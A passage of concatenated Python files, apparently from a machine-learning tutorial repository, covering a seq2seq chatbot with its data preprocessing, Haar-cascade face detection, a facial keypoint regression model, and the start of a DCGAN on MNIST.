enumerate(input_text.split()): +# encoder_input_data[i, t] = input_word_index[word] # encoder input sequence +# for t, word in enumerate(target_text.split()): +# if t > 0: +# # offset by one timestep +# # one-hot encoded +# decoder_target_data[i, t-1, target_token_index[word]] = 1 +# if t < len(target_text.split()) - 1: +# decoder_input_data[i, t] = target_token_index[word] +# yield ([encoder_input_data, decoder_input_data], decoder_target_data) + +if __name__ == "__main__": + from generator import NMTGenerator + gen = NMTGenerator(source_file="data/small_vocab_en", target_file="data/small_vocab_fr") + gen.load_dataset() + print(gen.num_decoder_tokens) + print(gen.num_encoder_tokens) + print(gen.source_sequence_length) + print(gen.target_sequence_length) + print(gen.X.shape) + print(gen.y.shape) + for i, ((encoder_input_data, decoder_input_data), decoder_target_data) in enumerate(gen.generate_batches()): + # print("encoder_input_data.shape:", encoder_input_data.shape) + # print("decoder_output_data.shape:", decoder_input_data.shape) + if i % (len(gen.X) // gen.batch_size + 1) == 0: + print(i, ": decoder_input_data:", decoder_input_data[0]) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +from models import predict_sequence, encoder_decoder_model +from preprocess import tokenize, pad +from keras.utils import to_categorical +from generator import get_embedding_vectors +import pickle +import numpy as np + +x_tk = pickle.load(open("results/x_tk.pickle", "rb")) +y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + + + +index_to_words = {id: word for word, id in y_tk.word_index.items()} +index_to_words[0] = '_' + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + return ' '.join([index_to_words[prediction] for prediction in logits]) + + +num_encoder_tokens = 29046 +num_decoder_tokens = 29046 +latent_dim = 300 + +# embedding_vectors = get_embedding_vectors(x_tk) + +model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens) +enc.summary() +dec.summary() +model.summary() +model.load_weights("results/chatbot_v13_4.831_0.219.h5") + +while True: + text = input("> ") + tokenized = tokenize([text], tokenizer=y_tk)[0] + # print("tokenized:", tokenized) + X = pad(tokenized, length=37) + sequence = predict_sequence(enc, dec, X, 37, num_decoder_tokens) + # print(sequence) + result = logits_to_text(sequence) + print(result) + + + + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=5, + inter_op_parallelism_threads=5, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +from models import predict_sequence, encoder_decoder_model +from preprocess import tokenize, pad +from keras.utils import to_categorical +from generator import get_embedding_vectors +import pickle +import numpy as np + +x_tk = pickle.load(open("results/x_tk.pickle", "rb")) +y_tk = pickle.load(open("results/y_tk.pickle", "rb")) + + + +index_to_words = {id: word for word, id in y_tk.word_index.items()} +index_to_words[0] = '_' + +def logits_to_text(logits): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + # return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + # return ''.join([index_to_words[np.where(prediction==1)[0]] for prediction in logits]) + text = "" + for prediction in logits: + char_index = np.where(prediction)[0][0] + + char = index_to_words[char_index] + text += char + return text + + + +num_encoder_tokens = 61 +num_decoder_tokens = 61 +latent_dim = 384 + +# embedding_vectors = get_embedding_vectors(x_tk) + +model, enc, dec = encoder_decoder_model(num_encoder_tokens, latent_dim, num_decoder_tokens, embedding_layer=False) +enc.summary() +dec.summary() +model.summary() +model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") + +while True: + text = input("> ") + tokenized = tokenize([text], tokenizer=y_tk)[0] + # print("tokenized:", tokenized) + X = to_categorical(pad(tokenized, length=37), num_classes=num_encoder_tokens) + # print(X) + sequence = predict_sequence(enc, dec, X, 206, num_decoder_tokens, char_level=True) + # print(sequence) + result = logits_to_text(sequence) + print(result) + + + + +import numpy as np +import pickle +from models import encoder_decoder_model +from generator import NMTGenerator, get_embedding_vectors +from preprocess import load_dataset +from keras.callbacks import ModelCheckpoint +from keras_adabound import AdaBound + +text_gen = NMTGenerator(source_file="data/questions", + target_file="data/answers", + batch_size=32, + same_tokenizer=True, + verbose=2) +text_gen.load_dataset() +print("[+] Dataset loaded.") + +num_encoder_tokens = text_gen.num_encoder_tokens +num_decoder_tokens = text_gen.num_decoder_tokens +# get tokenizer +tokenizer = text_gen.x_tk +embedding_vectors = get_embedding_vectors(tokenizer) +print("text_gen.source_sequence_length:", text_gen.source_sequence_length) +print("text_gen.target_sequence_length:", text_gen.target_sequence_length) +num_tokens = max([num_encoder_tokens, num_decoder_tokens]) +latent_dim = 300 + +model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_matrix=embedding_vectors) +model.summary() +enc.summary() +dec.summary() +del enc +del dec +print("[+] Models created.") + +model.compile(optimizer="rmsprop", loss="categorical_crossentropy", metrics=["accuracy"]) +print("[+] Model compiled.") + +# pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) +print("[+] X tokenizer serialized.") + +# pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) +print("[+] y tokenizer serialized.") + +# X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) +# y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) +print("[+] Dataset reshaped.") + +# print("X1.shape:", X1.shape) +# print("X2.shape:", X2.shape) +# print("y.shape:", y.shape) +checkpointer = ModelCheckpoint("results/chatbot_v13_{val_loss:.3f}_{val_acc:.3f}.h5", save_best_only=False, verbose=1) +model.load_weights("results/chatbot_v13_4.806_0.219.h5") +# model.fit([X1, X2], y, +model.fit_generator(text_gen.next_train(), + validation_data=text_gen.next_validation(), + verbose=1, + steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size), + validation_steps=(len(text_gen.X_test) // text_gen.batch_size), + callbacks=[checkpointer], + epochs=5) +print("[+] Model trained.") + +model.save_weights("results/chatbot_v13.h5") +print("[+] Model saved.") + + + + +import numpy as np +import pickle +from models import encoder_decoder_model +from generator import NMTGenerator, get_embedding_vectors +from preprocess import load_dataset +from keras.callbacks import ModelCheckpoint +from keras_adabound import AdaBound + +text_gen = NMTGenerator(source_file="data/questions", + target_file="data/answers", + batch_size=256, + same_tokenizer=True, + char_level=True, + verbose=2) +text_gen.load_dataset() +print("[+] Dataset loaded.") + +num_encoder_tokens = text_gen.num_encoder_tokens +num_decoder_tokens = text_gen.num_decoder_tokens +# get tokenizer +tokenizer = text_gen.x_tk +print("text_gen.source_sequence_length:", text_gen.source_sequence_length) +print("text_gen.target_sequence_length:", text_gen.target_sequence_length) +num_tokens = max([num_encoder_tokens, num_decoder_tokens]) +latent_dim = 384 + +model, enc, dec = encoder_decoder_model(num_tokens, latent_dim, num_tokens, embedding_layer=False) +model.summary() +enc.summary() +dec.summary() +del enc +del dec +print("[+] Models created.") + +model.compile(optimizer=AdaBound(lr=1e-3, final_lr=0.1), loss="categorical_crossentropy", metrics=["accuracy"]) +print("[+] Model compiled.") + +# pickle.dump(x_tk, open("results/x_tk.pickle", "wb")) +print("[+] X tokenizer serialized.") + +# pickle.dump(y_tk, open("results/y_tk.pickle", "wb")) +print("[+] y tokenizer serialized.") + +# X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) +# y = y.reshape((y.shape[0], y.shape[2], y.shape[1])) +print("[+] Dataset reshaped.") + +# print("X1.shape:", X1.shape) +# print("X2.shape:", X2.shape) +# print("y.shape:", y.shape) +checkpointer = ModelCheckpoint("results/chatbot_charlevel_v2_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=False, verbose=1) +model.load_weights("results/chatbot_charlevel_v2_0.32_0.90.h5") +# model.fit([X1, X2], y, +model.fit_generator(text_gen.next_train(), + validation_data=text_gen.next_validation(), + verbose=1, + steps_per_epoch=(len(text_gen.X_train) // text_gen.batch_size)+1, + validation_steps=(len(text_gen.X_test) // text_gen.batch_size)+1, + callbacks=[checkpointer], + epochs=50) +print("[+] Model trained.") + +model.save_weights("results/chatbot_charlevel_v2.h5") +print("[+] Model saved.") + + + + +import tqdm + +X, y = [], [] +with open("data/fr-en", encoding='utf8') as f: + for i, line in tqdm.tqdm(enumerate(f), "Reading file"): + if "europarl-v7" in line: + continue + # X.append(line) + # if i == 2007723 or i == 2007724 or i == 2007725 + if i <= 2007722: + X.append(line.strip()) + else: + y.append(line.strip()) + +y.pop(-1) + + +with open("data/en", "w", encoding='utf8') as f: + for i in tqdm.tqdm(X, "Writing english"): + print(i, file=f) + +with open("data/fr", "w", encoding='utf8') as f: + for i in tqdm.tqdm(y, "Writing french"): + print(i, file=f) + + + + +import glob +import tqdm +import os +import random +import inflect + +p = inflect.engine() + +X, y = [], [] + +special_words = { + "haha", "rockikz", "fullclip", "xanthoss", "aw", "wow", "ah", "oh", "god", "quran", "allah", + "muslims", "muslim", "islam", "?", ".", ",", + '_func_val_get_callme_para1_comma0', '_num2_', '_func_val_get_last_question', '_num1_', + '_func_val_get_number_plus_para1__num1__para2__num2_', + '_func_val_update_call_me_enforced_para1__callme_', + '_func_val_get_number_minus_para1__num2__para2__num1_', '_func_val_get_weekday_para1_d0', + '_func_val_update_user_name_para1__name_', '_callme_', '_func_val_execute_pending_action_and_reply_para1_no', + '_func_val_clear_user_name_and_call_me', '_func_val_get_story_name_para1_the_velveteen_rabbit', '_ignored_', + '_func_val_get_number_divide_para1__num1__para2__num2_', '_func_val_get_joke_anyQ:', + '_func_val_update_user_name_and_call_me_para1__name__para2__callme_', '_func_val_get_number_divide_para1__num2__para2__num1_Q:', + '_name_', '_func_val_ask_name_if_not_yet', '_func_val_get_last_answer', '_func_val_continue_last_topic', + '_func_val_get_weekday_para1_d1', '_func_val_get_number_minus_para1__num1__para2__num2_', '_func_val_get_joke_any', + '_func_val_get_story_name_para1_the_three_little_pigs', '_func_val_update_call_me_para1__callme_', + '_func_val_get_story_name_para1_snow_white', '_func_val_get_today', '_func_val_get_number_multiply_para1__num1__para2__num2_', + '_func_val_update_user_name_enforced_para1__name_', '_func_val_get_weekday_para1_d_2', '_func_val_correct_user_name_para1__name_', + '_func_val_get_time', '_func_val_get_number_divide_para1__num2__para2__num1_', '_func_val_get_story_any', + '_func_val_execute_pending_action_and_reply_para1_yes', '_func_val_get_weekday_para1_d_1', '_func_val_get_weekday_para1_d2' +} + +english_words = { word.strip() for word in open("data/words8.txt") } + +embedding_words = set() +f = open("data/glove.6B.300d.txt", encoding='utf8') +for line in tqdm.tqdm(f, "Reading GloVe words"): + values = line.split() + word = values[0] + embedding_words.add(word) + +maps = open("data/maps.txt").readlines() +word_mapper = {} +for map in maps: + key, value = map.split("=>") + key = key.strip() + value = value.strip() + print(f"Mapping {key} to {value}") + word_mapper[key.lower()] = value + + +unks = 0 +digits = 0 +mapped = 0 +english = 0 +special = 0 + +def map_text(line): + global unks + global digits + global mapped + global english + global special + result = [] + append = result.append + words = line.split() + for word in words: + word = word.lower() + if word.isdigit(): + append(p.number_to_words(word)) + digits += 1 + continue + if word in word_mapper: + append(word_mapper[word]) + mapped += 1 + continue + if word in english_words: + append(word) + english += 1 + continue + if word in special_words: + append(word) + special += 1 + continue + append("_unk_") + unks += 1 + return ' '.join(result) + +for file in tqdm.tqdm(glob.glob("data/Augment*/*"), "Reading files"): + with open(file, encoding='utf8') as f: + for line in f: + line = line.strip() + if "Q: " in line: + X.append(line) + elif "A: " in line: + y.append(line) + +# shuffle X and y maintaining the order +combined = list(zip(X, y)) +random.shuffle(combined) + +X[:], y[:] = zip(*combined) + +with open("data/questions", "w") as f: + for line in tqdm.tqdm(X, "Writing questions"): + line = line.strip().lstrip('Q: ') + line = map_text(line) + print(line, file=f) + +print() + +print("[!] Unks:", unks) +print("[!] digits:", digits) +print("[!] Mapped:", mapped) +print("[!] english:", english) +print("[!] special:", special) +print() + +unks = 0 +digits = 0 +mapped = 0 +english = 0 +special = 0 + +with open("data/answers", "w") as f: + for line in tqdm.tqdm(y, "Writing answers"): + line = line.strip().lstrip('A: ') + line = map_text(line) + print(line, file=f) + +print() +print("[!] Unks:", unks) +print("[!] digits:", digits) +print("[!] Mapped:", mapped) +print("[!] english:", english) +print("[!] special:", special) +print() + + + + +import numpy as np +import cv2 + + +# loading the test image +image = cv2.imread("kids.jpg") + +# converting to grayscale +image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +# detect all the faces in the image +faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) + +# for every face, draw a blue rectangle +for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + +# save the image with rectangles +cv2.imwrite("kids_detected.jpg", image) + + + + +import numpy as np +import cv2 + +# create a new cam object +cap = cv2.VideoCapture(0) + +# initialize the face recognizer (default face haar cascade) +face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") + +while True: + # read the image from the cam + _, image = cap.read() + # converting to grayscale + image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + + # detect all the faces in the image + faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) + + # for every face, draw a blue rectangle + for x, y, width, height in faces: + cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) + + cv2.imshow("image", image) + + if cv2.waitKey(1) == ord("q"): + break + +cap.release() +cv2.destroyAllWindows() + + + + +import cv2 +import numpy as np +import matplotlib.pyplot as plt + +import sys + +from models import create_model +from parameters import * +from utils import normalize_image + + +def untransform(keypoints): + return keypoints * 50 + 100 + + +def get_single_prediction(model, image): + image = np.expand_dims(image, axis=0) + keypoints = model.predict(image)[0] + return keypoints.reshape(*OUTPUT_SHAPE) + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(np.squeeze(image), cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +image = cv2.imread(sys.argv[1]) +image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) + +# # construct the model +model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1.h5") + +face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml") +# get all the faces in the image +faces = face_cascade.detectMultiScale(image, 1.2, 2) + +for (x, y, w, h) in faces: + cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3) + face_image = image.copy()[y: y+h, x: x+w] + face_image = normalize_image(face_image) + keypoints = get_single_prediction(model, face_image) + show_keypoints(face_image, keypoints) + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import cv2 + +from models import create_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data, resize_image, normalize_keypoints, normalize_image + + +def get_single_prediction(model, image): + image = np.expand_dims(image, axis=0) + keypoints = model.predict(image)[0] + return keypoints.reshape(*OUTPUT_SHAPE) + +def get_predictions(model, X): + predicted_keypoints = model.predict(X) + predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) + return predicted_keypoints + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(image, cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None): + for keypoint in predicted_keypoints: + image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2) + if true_keypoints is not None: + image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green") + return image + + +def untransform(keypoints): + return keypoints * 224 + + +# construct the model +model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1_different-scaling.h5") + +# X_test, y_test = load_data(testing_file) +# y_test = y_test.reshape(-1, *OUTPUT_SHAPE) + +cap = cv2.VideoCapture(0) + +while True: + _, frame = cap.read() + # make a copy of the original image + image = frame.copy() + image = normalize_image(image) + + keypoints = get_single_prediction(model, image) + print(keypoints[0]) + keypoints = untransform(keypoints) + # w, h = frame.shape[:2] + # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16") + # frame = show_keypoints_cv2(frame, keypoints) + image = show_keypoints_cv2(image, keypoints) + cv2.imshow("frame", image) + + if cv2.waitKey(1) == ord("q"): + break + +cv2.destroyAllWindows() +cap.release() + + + + +from tensorflow.keras.models import Sequential, Model +from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten +from tensorflow.keras.applications import MobileNetV2 +import tensorflow as tf +import tensorflow.keras.backend as K + +def smoothL1(y_true, y_pred): + HUBER_DELTA = 0.5 + x = K.abs(y_true - y_pred) + x = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA)) + return K.sum(x) + + +def create_model(input_shape, output_shape): + + # building the model + model = Sequential() + + model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape)) + model.add(Activation("relu")) + model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) + model.add(Activation("relu")) + model.add(MaxPooling2D(pool_size=(2, 2))) + # model.add(Dropout(0.25)) + + # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) + # model.add(Activation("relu")) + # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) + # model.add(Activation("relu")) + # model.add(MaxPooling2D(pool_size=(2, 2))) + # # model.add(Dropout(0.25)) + + # flattening the convolutions + model.add(Flatten()) + # fully-connected layers + model.add(Dense(256)) + model.add(Activation("relu")) + model.add(Dropout(0.5)) + model.add(Dense(output_shape, activation="linear")) + + # print the summary of the model architecture + model.summary() + + # training the model using rmsprop optimizer + # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) + model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) + return model + + +def create_mobilenet_model(input_shape, output_shape): + model = MobileNetV2(input_shape=input_shape) + # remove the last layer + model.layers.pop() + # freeze all the weights of the model except for the last 4 layers + for layer in model.layers[:-4]: + layer.trainable = False + # construct our output dense layer + output = Dense(output_shape, activation="linear") + # connect it to the model + output = output(model.layers[-1].output) + + model = Model(inputs=model.inputs, outputs=output) + + model.summary() + + # training the model using adam optimizer + # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) + model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) + return model + + + + +IMAGE_SIZE = (224, 224) +OUTPUT_SHAPE = (68, 2) +BATCH_SIZE = 20 +EPOCHS = 30 + +training_file = "data/training_frames_keypoints.csv" +testing_file = "data/test_frames_keypoints.csv" + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt + +from models import create_model, create_mobilenet_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data + + +def get_predictions(model, X): + predicted_keypoints = model.predict(X) + predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) + return predicted_keypoints + + +def show_keypoints(image, predicted_keypoints, true_keypoints): + predicted_keypoints = untransform(predicted_keypoints) + true_keypoints = untransform(true_keypoints) + plt.imshow(np.squeeze(image), cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def untransform(keypoints): + return keypoints *224 + + +# # construct the model +model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1_mobilenet_crop.h5") + +X_test, y_test = load_data(testing_file) +y_test = y_test.reshape(-1, *OUTPUT_SHAPE) + +y_pred = get_predictions(model, X_test) +print(y_pred[0]) +print(y_pred.shape) +print(y_test.shape) +print(X_test.shape) + +for i in range(50): + show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400]) + + + + +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt + +from sklearn.preprocessing import MinMaxScaler +from tqdm import tqdm +# from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D +from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint + + +import os + +from models import create_model, create_mobilenet_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data + +# # read the training dataframe +# training_df = pd.read_csv("data/training_frames_keypoints.csv") + +# # print the number of images available in the training dataset +# print("Number of images in training set:", training_df.shape[0]) + +def show_keypoints(image, key_points): + # show the image + plt.imshow(image) + # use scatter() to plot the keypoints in the faces + plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".") + plt.show() + +# show an example image +# n = 124 +# image_name = training_df.iloc[n, 0] +# keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2) +# show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints) + +model_name = "model_smoothl1_mobilenet_crop" + +# construct the model +model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +# model.load_weights("results/model3.h5") + +X_train, y_train = load_data(training_file, to_gray=False) +X_test, y_test = load_data(testing_file, to_gray=False) + +if not os.path.isdir("results"): + os.mkdir("results") + +tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) +# checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1) + +history = model.fit(X_train, y_train, + batch_size=BATCH_SIZE, + epochs=EPOCHS, + validation_data=(X_test, y_test), + # callbacks=[tensorboard, checkpoint], + callbacks=[tensorboard], + verbose=1) + + +model.save("results/" + model_name + ".h5") + + + + +import numpy as np +import pandas as pd +import matplotlib.image as mpimg +import matplotlib.pyplot as plt +import cv2 +from tqdm import tqdm + + +import os + +from parameters import IMAGE_SIZE, OUTPUT_SHAPE + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + # predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(image, cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + # true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def resize_image(image, image_size): + return cv2.resize(image, image_size) + + +def random_crop(image, keypoints): + h, w = image.shape[:2] + new_h, new_w = IMAGE_SIZE + keypoints = keypoints.reshape(-1, 2) + try: + top = np.random.randint(0, h - new_h) + left = np.random.randint(0, w - new_w) + except ValueError: + return image, keypoints + image = image[top: top + new_h, left: left + new_w] + keypoints = keypoints - [left, top] + + return image, keypoints + + +def normalize_image(image, to_gray=True): + if image.shape[2] == 4: + # if the image has an alpha color channel (opacity) + # let's just remove it + image = image[:, :, :3] + # get the height & width of image + h, w = image.shape[:2] + new_h, new_w = IMAGE_SIZE + new_h, new_w = int(new_h), int(new_w) + + # scaling the image to that IMAGE_SIZE + # image = cv2.resize(image, (new_w, new_h)) + image = resize_image(image, (new_w, new_h)) + if to_gray: + # convert image to grayscale + image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) + # normalizing pixels from the range [0, 255] to [0, 1] + image = image / 255.0 + if to_gray: + image = np.expand_dims(image, axis=2) + return image + + + +def normalize_keypoints(image, keypoints): + # get the height & width of image + h, w = image.shape[:2] + # reshape to coordinates (x, y) + # i.e converting a vector of (136,) to the 2D array (68, 2) + new_h, new_w = IMAGE_SIZE + new_h, new_w = int(new_h), int(new_w) + keypoints = keypoints.reshape(-1, 2) + # scale the keypoints also + keypoints = keypoints * [new_w / w, new_h / h] + keypoints = keypoints.reshape(-1) + # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental) + keypoints = keypoints / 224 + # keypoints = (keypoints - 100) / 50 + return keypoints + +def normalize(image, keypoints, to_gray=True): + image, keypoints = random_crop(image, keypoints) + return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints) + +def load_data(csv_file, to_gray=True): + # read the training dataframe + df = pd.read_csv(csv_file) + all_keypoints = np.array(df.iloc[:, 1:]) + image_names = list(df.iloc[:, 0]) + # load images + X, y = [], [] + X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32") + y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])) + for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)): + image = mpimg.imread(os.path.join("data", "training", image_name)) + image, keypoints = normalize(image, keypoints, to_gray=to_gray) + X[i] = image + y[i] = keypoints + + return X, y + + + + +""" +DCGAN on MNIST using Keras +""" +# to use CPU +import os + +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) + +import numpy as np +import matplotlib.pyplot as plt +import tqdm +import glob +# from tensorflow.examples.tutorials.mnist import input_data + +from keras.models import Sequential +from keras.layers import Dense, Activation, Flatten, Reshape +from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D +from keras.layers import LeakyReLU, Dropout, BatchNormalization +from keras.optimizers import Adam, RMSprop +from keras.datasets import mnist + +class GAN: + def __init__(self, img_x=28, img_y=28, img_z=1): + self.img_x = img_x + self.img_y = img_y + self.img_z = img_z + + self.D = None # discriminator + self.G = None # generator + self.AM = None # adversarial model + self.DM = None # discriminator model + + def discriminator(self): + if self.D: + return self.D + + self.D = Sequential() + + depth = 64 + dropout = 0.4 + input_shape = (self.img_x, self.img_y, self.img_z) + + self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*2, 5, strides=2, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*4, 5, strides=2, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*8, 5, strides=1, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + # convert to 1 dimension + self.D.add(Flatten()) + self.D.add(Dense(1, activation="sigmoid")) + print("="*50, "Discriminator", "="*50) + self.D.summary() + return self.D + + def generator(self): + if self.G: + return self.G + + self.G = Sequential() + dropout = 0.4 + # covnerting from 100 vector noise to dim x dim x depth + # (100,) to (7, 7, 256) + depth = 64 * 4 + dim = 7 + + self.G.add(Dense(dim*dim*depth, input_dim=100)) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Reshape((dim, dim, depth))) + self.G.add(Dropout(dropout)) + + # upsampling to (14, 14, 128) + self.G.add(UpSampling2D()) + self.G.add(Conv2DTranspose(depth // 2, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # up to (28, 28, 64) + self.G.add(UpSampling2D()) + self.G.add(Conv2DTranspose(depth // 4, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # to (28, 28, 32) + self.G.add(Conv2DTranspose(depth // 8, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # to (28, 28, 1) (img) + self.G.add(Conv2DTranspose(1, 5, padding="same")) + self.G.add(Activation("sigmoid")) + print("="*50, "Generator", "="*50) + self.G.summary() + return self.G + + def discriminator_model(self): + if self.DM: + return self.DM + # optimizer = RMSprop(lr=0.001, decay=6e-8) + optimizer = Adam(0.0002, 0.5) + self.DM = Sequential() + 